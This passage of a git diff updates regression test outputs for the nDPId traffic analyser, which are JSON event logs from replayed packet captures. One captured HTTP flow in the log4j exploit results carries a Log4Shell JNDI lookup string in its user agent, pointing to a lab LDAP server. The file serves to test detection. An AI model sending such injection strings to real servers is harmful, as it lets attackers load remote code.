size","datalink":1,"packet_id":12,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":629,"expected":633,"global_ts_usec":1505724525364548} +00359{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724525364548,"packet_id":12,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":629,"expected":633,"global_ts_usec":1505724525364548} 01149{"packet_event_id":1,"packet_event_name":"packet","packet_id":12,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":629,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":629,"pkt_l4_len":0,"thread_ts_usec":1505724523784944,"pkt":"\/Ejvopo\/MNF+D2w+CABFuAJnsccAAEAR\/JWEvvQMl3m5LAhoCGgCUwAAMv8CQwE8W3R7UAAARQACP2NQQABABif1wKiTsZd5waDkgAG7QsbcfVXaB5OAGAIjv8IAAAEBCAoAC7rRMW8EIBYDAwIGEAACAgIAmOi+GN3N8UwFIOyGgG7fRoYqddIen6fJLfOoMdGcgjC7EXRuMLo4ueRPzuPNKTKsd0rXjIh8nF1luCtj74M6hLMrC8RgUQ8NtWnU+VyJ5ocLdxtzZF0gGB+1NhUGr48PAz8CyV8iWtZ4r5z1HdzPAjUZcbzNDe0GFdLkO0mrmT1V\/fADZpMXfOis2u6uwZpitz8p9IosL8QiH6+IqUMckXifdvysezYp9tH9I18YsH7HyCm46xkjwyg7bNLoY89xVSe+3KoGnCgNymiAS0DFirvRnfEhZ55M6aVqDHyopcrpE\/p7Ra+JZESNmMF2sYfinmGSLWypwRK8tqaU\/ff99MtBg4KsFRNdp7dUOalIiR2j+\/gLC7fy\/B8rinO1aEkQfPwupPH+TOkI6kU7p6ZpEMlgYUAeUCVVdw2kpGnwan1lhC7pX4eYGUKHCcYnb9WwWjN9kb1rdtJu6KJWHsmxhkqn+5IJXszwezV7EVVZplgJPkRBwWsUatOWpjd9GuEZrUofu+2zRAWb37O45WXULSMfnimMKJd4Xwqcyx7tqMpzzTK7dWYdIkVZW9y5jVbcfrEnX0PFjjBobFRt6z81tve44yNzWQLg\/BhIGmKgyP4ZWrM3REf0v0GIj8wfwr+jHsMczvQifNTnUyyug\/Xc6cQyMh8qaav4EhHbL4l4yFg="} -00259{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":13,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":112,"expected":116,"global_ts_usec":1505724525422029} +00359{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724525422029,"packet_id":13,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":112,"expected":116,"global_ts_usec":1505724525422029} 00454{"packet_event_id":1,"packet_event_name":"packet","packet_id":13,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"thread_ts_usec":1505724525364548,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABis2MAAEAR\/P6EvvQMl3m5LAhoCGgATgAAMv8APgE8W3R8UAAARQAAOmNRQABABin5wKiTsZd5waDkgAG7QsbeiFXaB5OAGAIjWbAAAAEBCAoAC7rRMW8EIBQDAwABAQ=="} -00259{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":14,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":151,"expected":155,"global_ts_usec":1505724525500430} +00359{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724525500430,"packet_id":14,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":151,"expected":155,"global_ts_usec":1505724525500430} 00505{"packet_event_id":1,"packet_event_name":"packet","packet_id":14,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"thread_ts_usec":1505724525422029,"pkt":"\/Ejvopo\/MNF+D2w+CABFuACJtcMAAEAR+neEvvQMl3m5LAhoCGgAdQAAMv8AZQE8W3R9UAAARQAAYWNSQABABinRwKiTsZd5waDkgAG7QsbejlXaB5OAGAIj3G8AAAEBCAoAC7rRMW8EIBYDAwAoAAAAAAAAAADM1WLZBbPlOmD9XANW49sO0tmduGTuSuv4J+SEqWJkSA=="} -00259{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":21,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":151,"expected":155,"global_ts_usec":1505724526101283} +00360{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724526101283,"packet_id":21,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":151,"expected":155,"global_ts_usec":1505724526101283} 00505{"packet_event_id":1,"packet_event_name":"packet","packet_id":21,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"thread_ts_usec":1505724525702072,"pkt":"\/Ejvopo\/MNF+D2w+CABFuACJx48AAEAR6KuEvvQMl3m5LAhoCGgAdQAAMv8AZQE8W3SBUAAARQAAYWNTQABABinQwKiTsZd5waDkgAG7QsbejlXaB5OAGAIj26cAAAEBCAoAC7uZMW8EIBYDAwAoAAAAAAAAAADM1WLZBbPlOmD9XANW49sO0tmduGTuSuv4J+SEqWJkSA=="} -00259{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":22,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1505724526161588} +00360{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724526161588,"packet_id":22,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1505724526161588} 00445{"packet_event_id":1,"packet_event_name":"packet","packet_id":22,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1505724526101283,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABcySMAAEAR50SEvvQMl3m5LAhoCGgASAAAMv8AOAE8W3SDUAAARQAANGNUQABABin8wKiTsZd5waDkgAG7Qsbeu1XaCFKAEAIjZNIAAAEBCAoAC7vdMW8PEg=="} -00261{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":24,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":1202,"expected":1206,"global_ts_usec":1505724526501623} +00362{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724526501623,"packet_id":24,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":1202,"expected":1206,"global_ts_usec":1505724526501623} 01926{"packet_event_id":1,"packet_event_name":"packet","packet_id":24,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1202,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1202,"pkt_l4_len":0,"thread_ts_usec":1505724526302674,"pkt":"\/Ejvopo\/MNF+D2w+CABFuASk0zUAAEAR2OqEvvQMl3m5LAhoCGgEkAAAMv8EgAE8W3SEUAAARQAEfGNVQABABiWzwKiTsZd5waDkgAG7Qsbeu1XaCIaAGAIjjQIAAAEBCAoAC7viMW8PEhcDAwRDAAAAAAAAAAFJqZsr2XFOAWwXDu0+7Y9vPaXF6QBuCgzG25Q\/KbgqYu88jDq040h3tvc+aLu+DTcTspkgI5XvLXRFxqBxdvTufQDpaiPCYyECwSJhep14pGbJr74Zfc\/j6Av4+JPM7XoLFlKyk030dBFrQrGR3OC0pR3zpNnKaUQjB+tTd4nLUXzWv2mjrWj7pce\/bPzpfedXtz8tcxLvi8SEHscHZsArZDwdeUf5QLLvVFDZNU4ZEQaimEyX15KzM6G5ToQIrvIFXEhAF3dG5oXfA+Ae4WLPSnyb5NwMMF4kDDNIe1ZVjNBxSABFaYjPPiJg0gQg\/+QEqg1CX23cpDZyJxz7smWB9h7xs7H9AygfzY9wASIaEq6DqGATMfMsN3dYWATzH3hum27SvUyhZ75L0k5HqqsoGIfu+LYC1hNDONFV6+lkufq4BpitkoCYAzdbmomEw05OzNlTrWr0XPFYwgNz7thDeUGqO\/xKaUFeEC4Y7Xy1Gc41hkWo54xuUrmAxO9X1\/+gkn+c3MHGrRESux79pmus577Y7Fo4U\/4oJ6luI0bGV303za2qj4yCdXLeQWjtrOGdBBkw\/wBHF5IbYMOF9bJFx68HeOrrn4nYFgmVhrWXDxyY1xWgLDIjRY5UDtLoQjMcM03rPMf1Z8L76UZ2YHFgGbBPU1OGctMjFUx+R73JxaqxVRw4ymshyrqvP9+E3HE7UquBR2x9EQISSgDorx56T92cLWOMHjn+ek1JnoCiwSF6nQ5wDmyw72RptvWz6AU0FUnuqURBs\/Yt3PJfdurGsJxYBs+wDZGPNy41Qf5bJwUyIKMkYqmgYULqkbNWOZxFV99s4+BV262g1PDKETuLCv2a\/bmZ\/xolpL0HSIF0vX2xBElZHZ+hd84KVa1Y1XFdDw8mr7TyDNVUiL3tNunlmrQfdQETgjFhKIaQn6XGF8V1kH05Pfc52o2vbYUaSnIDJWt30SPlvtzw5ruQY4AYjS9\/zvW4ADabvEgwiTZjb2txs6oHyKnVCekE0WjVDCEceBK1aQn6rKOOPXvKdj3iDTl1Ep2O3m+u3pqEIGzMPxhnKMpUTUMR5vH5kQ6XVO3\/\/O3Fv4Gs+QXjMNEsaI4CKiHU5k1Q0MbXxbrvkqD7nzLmoRz\/kTcbg2\/gjB1KRUMXAi27pqag38iFL5LdNl02Bk8czI\/JMSOpzjzmaW1x5HQLihorbExEU6gi6LG\/RLyN0wdxLAEVfUuvGwMzSO969\/mxBBfNydqDsDV4YQiFLRSJTGt9vGEn+QmnSkfZdl3aM1n9v1oUbRwSanCl2G5YkrCo8NVoEuKsjRybURkxyp7cEy1T38EAeIr7HE3lwdlheQG63MqfDiIz7ld4f9Q0nYgQa1Und43tDU8iH72YEZe9PfwwG1sJOBUaECdibU9+goippYdBUnHF+Q41lhVnISz+74wOY0LMuM8="} -00259{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":25,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1505724526501639} +00360{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":13,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724526501639,"packet_id":25,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1505724526501639} 00445{"packet_event_id":1,"packet_event_name":"packet","packet_id":25,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1505724526501623,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABc0zYAAEAR3TGEvvQMl3m5LAhoCGgASAAAMv8AOAE8W3SFUAAARQAANGNWQABABin6wKiTsZd5waDkgAG7QsbjA1XaCIaAEQIjYE4AAAEBCAoAC7vkMW8PEg=="} 00950{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":27,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":13,"flow_dst_packets_processed":14,"flow_first_seen":1505724520744830,"flow_src_last_pkt_time":1505724526501639,"flow_dst_last_pkt_time":1505724526702991,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":64,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1160,"flow_dst_max_l4_payload_len":1448,"flow_src_tot_l4_payload_len":2974,"flow_dst_tot_l4_payload_len":2858,"midstream":0,"thread_ts_usec":1505724526702991,"l3_proto":"ip4","src_ip":"132.190.244.12","dst_ip":"151.121.185.44","src_port":2152,"dst_port":2152,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"GTP.GTP_U","proto_id":"152.271","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00584{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":27,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","packets-captured":27,"packets-processed":27,"total-skipped-flows":0,"total-l4-payload-len":5832,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":1,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":1,"total-idle-flows":1,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":35,"global_ts_usec":1505724526702991} @@ -45,6 +45,6 @@ ~~ total memory freed........: 6036560 bytes ~~ total allocations/frees...: 121515/121515 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 263 chars +~~ json string min len.......: 363 chars ~~ json string max len.......: 1931 chars -~~ json string avg len.......: 1084 chars +~~ json string avg len.......: 1134 chars diff --git a/test/results/log4j-webapp-exploit.pcap.out b/test/results/log4j-webapp-exploit.pcap.out index 2dd33db10..c34838bbf 100644 --- a/test/results/log4j-webapp-exploit.pcap.out +++ b/test/results/log4j-webapp-exploit.pcap.out @@ -5,9 +5,9 @@ 00553{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_src_last_pkt_time":1639425815407353,"flow_dst_last_pkt_time":1639425815407439,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":16,"pkt_l4_offset":36,"pkt_len":76,"pkt_l4_len":40,"thread_ts_usec":1639425815407439,"pkt":"AAQAAQAGAkKsEO4KAAAIAEUAADwAAEAAQAYGj6wQ7gqsEO4BH5AHwIo9\/lB5loKyoBJxIDRcAAACBAW0BAIICmhBAYSt+LIaAQMDBw=="} 00540{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_src_last_pkt_time":1639425815408732,"flow_dst_last_pkt_time":1639425815407439,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":16,"pkt_l4_offset":36,"pkt_len":68,"pkt_l4_len":32,"thread_ts_usec":1639425815408732,"pkt":"AAAAAQAGAkJ2jzQWAAAIAEUAADRjYUAAPQamNawQ7gGsEO4KB8AfkHmWgrKKPf5RgBAB9sqWAAABAQgKrfiyHGhBAYQ="} 01332{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1639425815407353,"flow_src_last_pkt_time":1639425815415338,"flow_dst_last_pkt_time":1639425815407439,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":646,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":646,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1639425815415338,"l3_proto":"ip4","src_ip":"172.16.238.1","dst_ip":"172.16.238.10","src_port":1984,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5": {"risk":"Known Proto on Non Std Port","severity":"Medium","risk_score": {"total":260,"client":230,"server":30}},"12": {"risk":"HTTP Numeric IP Address","severity":"Low","risk_score": {"total":500,"client":450,"server":50}}},"confidence": {"6":"DPI"},"proto":"HTTP","proto_id":"7","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"192.168.13.31","http": {"url":"192.168.13.31:8080\/log4shell\/login","code":0,"content_type":"","user_agent":"jndi:ldap:\/\/172.16.238.11:1389\/a","request_content_type":"application\/x-www-form-urlencoded"}}} -00199{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":113,"packet_id":6,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","protocol":2054,"global_ts_usec":1639425815682836} +00299{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":113,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1639425815682836,"packet_id":6,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","protocol":2054,"global_ts_usec":1639425815682836} 00344{"packet_event_id":1,"packet_event_name":"packet","packet_id":6,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":44,"pkt_type":2054,"pkt_l3_offset":16,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"thread_ts_usec":1639425815415366,"pkt":"AAQAAQAGAkKsEO4KAAAIBgABCAAGBAABAkKsEO4KrBDuCgAAAAAAAKwQ7gs="} -00199{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":113,"packet_id":7,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","protocol":2054,"global_ts_usec":1639425815682948} +00299{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":113,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1639425815682948,"packet_id":7,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","protocol":2054,"global_ts_usec":1639425815682948} 00344{"packet_event_id":1,"packet_event_name":"packet","packet_id":7,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":44,"pkt_type":2054,"pkt_l3_offset":16,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"thread_ts_usec":1639425815415366,"pkt":"AAAAAQAGAkKsEO4LAAAIBgABCAAGBAACAkKsEO4LrBDuCwJCrBDuCqwQ7go="} 00769{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1639425815682954,"flow_src_last_pkt_time":1639425815682954,"flow_dst_last_pkt_time":1639425815682954,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1639425815682954,"l3_proto":"ip4","src_ip":"172.16.238.10","dst_ip":"172.16.238.11","src_port":57650,"dst_port":1389,"l4_proto":"tcp","flow_datalink":113,"flow_max_packets":3} 00552{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_src_last_pkt_time":1639425815682954,"flow_dst_last_pkt_time":1639425815682954,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":16,"pkt_l4_offset":36,"pkt_len":76,"pkt_l4_len":40,"thread_ts_usec":1639425815682954,"pkt":"AAQAAQAGAkKsEO4KAAAIAEUAADycRUAAQAZqP6wQ7gqsEO4L4TIFbQLNSvsAAAAAoAJyEDRmAAACBAW0BAIICvIpEmgAAAAAAQMDBw=="} @@ -24,9 +24,9 @@ 00553{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_src_last_pkt_time":1639425815944677,"flow_dst_last_pkt_time":1639425815944677,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":16,"pkt_l4_offset":36,"pkt_len":76,"pkt_l4_len":40,"thread_ts_usec":1639425815944677,"pkt":"AAQAAQAGAkKsEO4KAAAIAEUAADw8h0AAQAZP8awQ7goKCgof2HAjKVh5kSAAAAAAoAJyEK5yAAACBAW0BAIICq5YAo8AAAAAAQMDBw=="} 00553{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":2,"flow_src_last_pkt_time":1639425815944677,"flow_dst_last_pkt_time":1639425815944820,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":16,"pkt_l4_offset":36,"pkt_len":76,"pkt_l4_len":40,"thread_ts_usec":1639425815944820,"pkt":"AAAAAQAGAkJ2jzQWAAAIAEUAADwAAEAAQAaMeAoKCh+sEO4KIynYcLp2lFRYeZEhoBJxIK5yAAACBAW0BAIICiCvi5+uWAKPAQMDBw=="} 00541{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":3,"flow_src_last_pkt_time":1639425815944860,"flow_dst_last_pkt_time":1639425815944820,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":16,"pkt_l4_offset":36,"pkt_len":68,"pkt_l4_len":32,"thread_ts_usec":1639425815944860,"pkt":"AAQAAQAGAkKsEO4KAAAIAEUAADQ8iEAAQAZP+KwQ7goKCgof2HAjKVh5kSG6dpRVgBAA5a5qAAABAQgKrlgCjyCvi58="} -00200{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":113,"packet_id":35,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","protocol":2054,"global_ts_usec":1639425820869730} +00300{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":113,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1639425820869730,"packet_id":35,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","protocol":2054,"global_ts_usec":1639425820869730} 00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":35,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":44,"pkt_type":2054,"pkt_l3_offset":16,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"thread_ts_usec":1639425815944860,"pkt":"AAAAAQAGAkJ2jzQWAAAIBgABCAAGBAABAkJ2jzQWrBDuAQAAAAAAAKwQ7go="} -00200{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":113,"packet_id":36,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","protocol":2054,"global_ts_usec":1639425820869752} +00300{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":113,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1639425820869752,"packet_id":36,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","protocol":2054,"global_ts_usec":1639425820869752} 00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":36,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":44,"pkt_type":2054,"pkt_l3_offset":16,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"thread_ts_usec":1639425815944860,"pkt":"AAQAAQAGAkKsEO4KAAAIBgABCAAGBAACAkKsEO4KrBDuCgJCdo80FqwQ7gE="} 01908{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":65,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":17,"flow_dst_packets_processed":15,"flow_first_seen":1639425815944677,"flow_src_last_pkt_time":1639425823295194,"flow_dst_last_pkt_time":1639425823295146,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":5,"flow_dst_max_l4_payload_len":3,"flow_src_tot_l4_payload_len":30,"flow_dst_tot_l4_payload_len":3,"midstream":0,"thread_ts_usec":1639425823295194,"l3_proto":"ip4","src_ip":"172.16.238.10","dst_ip":"10.10.10.31","src_port":55408,"dst_port":9001,"l4_proto":"tcp","flow_datalink":113,"flow_max_packets":3,"data_analysis": {"iat": {"min":46,"avg":474225.3,"max":7288582,"stddev":1789599.0,"var":3202664366080.0,"ent":1.1,"data": [143,183,7288581,7288582,60489,60668,256,174,116,102,89,87,86,86,151,159,99,144,121,87,73,51,50,48,47,46,47,47,47,46,81]},"pktlen": {"min":52,"avg":53.5,"max":60,"stddev":2.2,"var":4.6,"ent":5.0,"data": [60,60,52,55,52,53,52,53,52,53,52,53,52,53,52,53,52,53,52,55,52,57,52,55,52,55,52,55,52,55,52,55]},"bins": {"c_to_s": [17,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [15,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]},"directions": [0,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0],"entropies": [4.511636257,5.106626511,4.986606121,5.071912289,4.895165443,4.975576401,4.895165443,4.975576401,4.818242550,4.937840462,4.895165443,4.975576401,4.895165443,4.975576401,4.895165443,4.937840462,4.856703758,4.937840462,4.856703758,4.947280407,4.856703758,5.028079987,4.803725243,5.020007610,4.856703758,4.983644009,4.856703758,5.020007610,4.856703758,5.020007610,4.856703758,4.910916805]}} 00814{"flow_event_id":9,"flow_event_name":"not-detected","thread_id":0,"packet_id":65,"source":"log4j-webapp-exploit.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":17,"flow_dst_packets_processed":15,"flow_first_seen":1639425815944677,"flow_src_last_pkt_time":1639425823295194,"flow_dst_last_pkt_time":1639425823295146,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":5,"flow_dst_max_l4_payload_len":3,"flow_src_tot_l4_payload_len":30,"flow_dst_tot_l4_payload_len":3,"midstream":0,"thread_ts_usec":1639425823295194,"l3_proto":"ip4","src_ip":"172.16.238.10","dst_ip":"10.10.10.31","src_port":55408,"dst_port":9001,"l4_proto":"tcp","ndpi": {"proto":"Unknown","proto_id":"0","encrypted":0,"breed":"Unrated"}} @@ -65,6 +65,6 @@ ~~ total memory freed........: 6065147 bytes ~~ total allocations/frees...: 121998/121998 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 204 chars +~~ json string min len.......: 304 chars ~~ json string max len.......: 1913 chars -~~ json string avg len.......: 1057 chars +~~ json string avg len.......: 1107 chars diff --git a/test/results/reasm_segv_anon.pcapng.out b/test/results/reasm_segv_anon.pcapng.out index 27f4d1b56..32f865cfe 100644 --- a/test/results/reasm_segv_anon.pcapng.out +++ b/test/results/reasm_segv_anon.pcapng.out @@ -1,69 +1,45 @@ 00497{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00560{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1550422828553466} 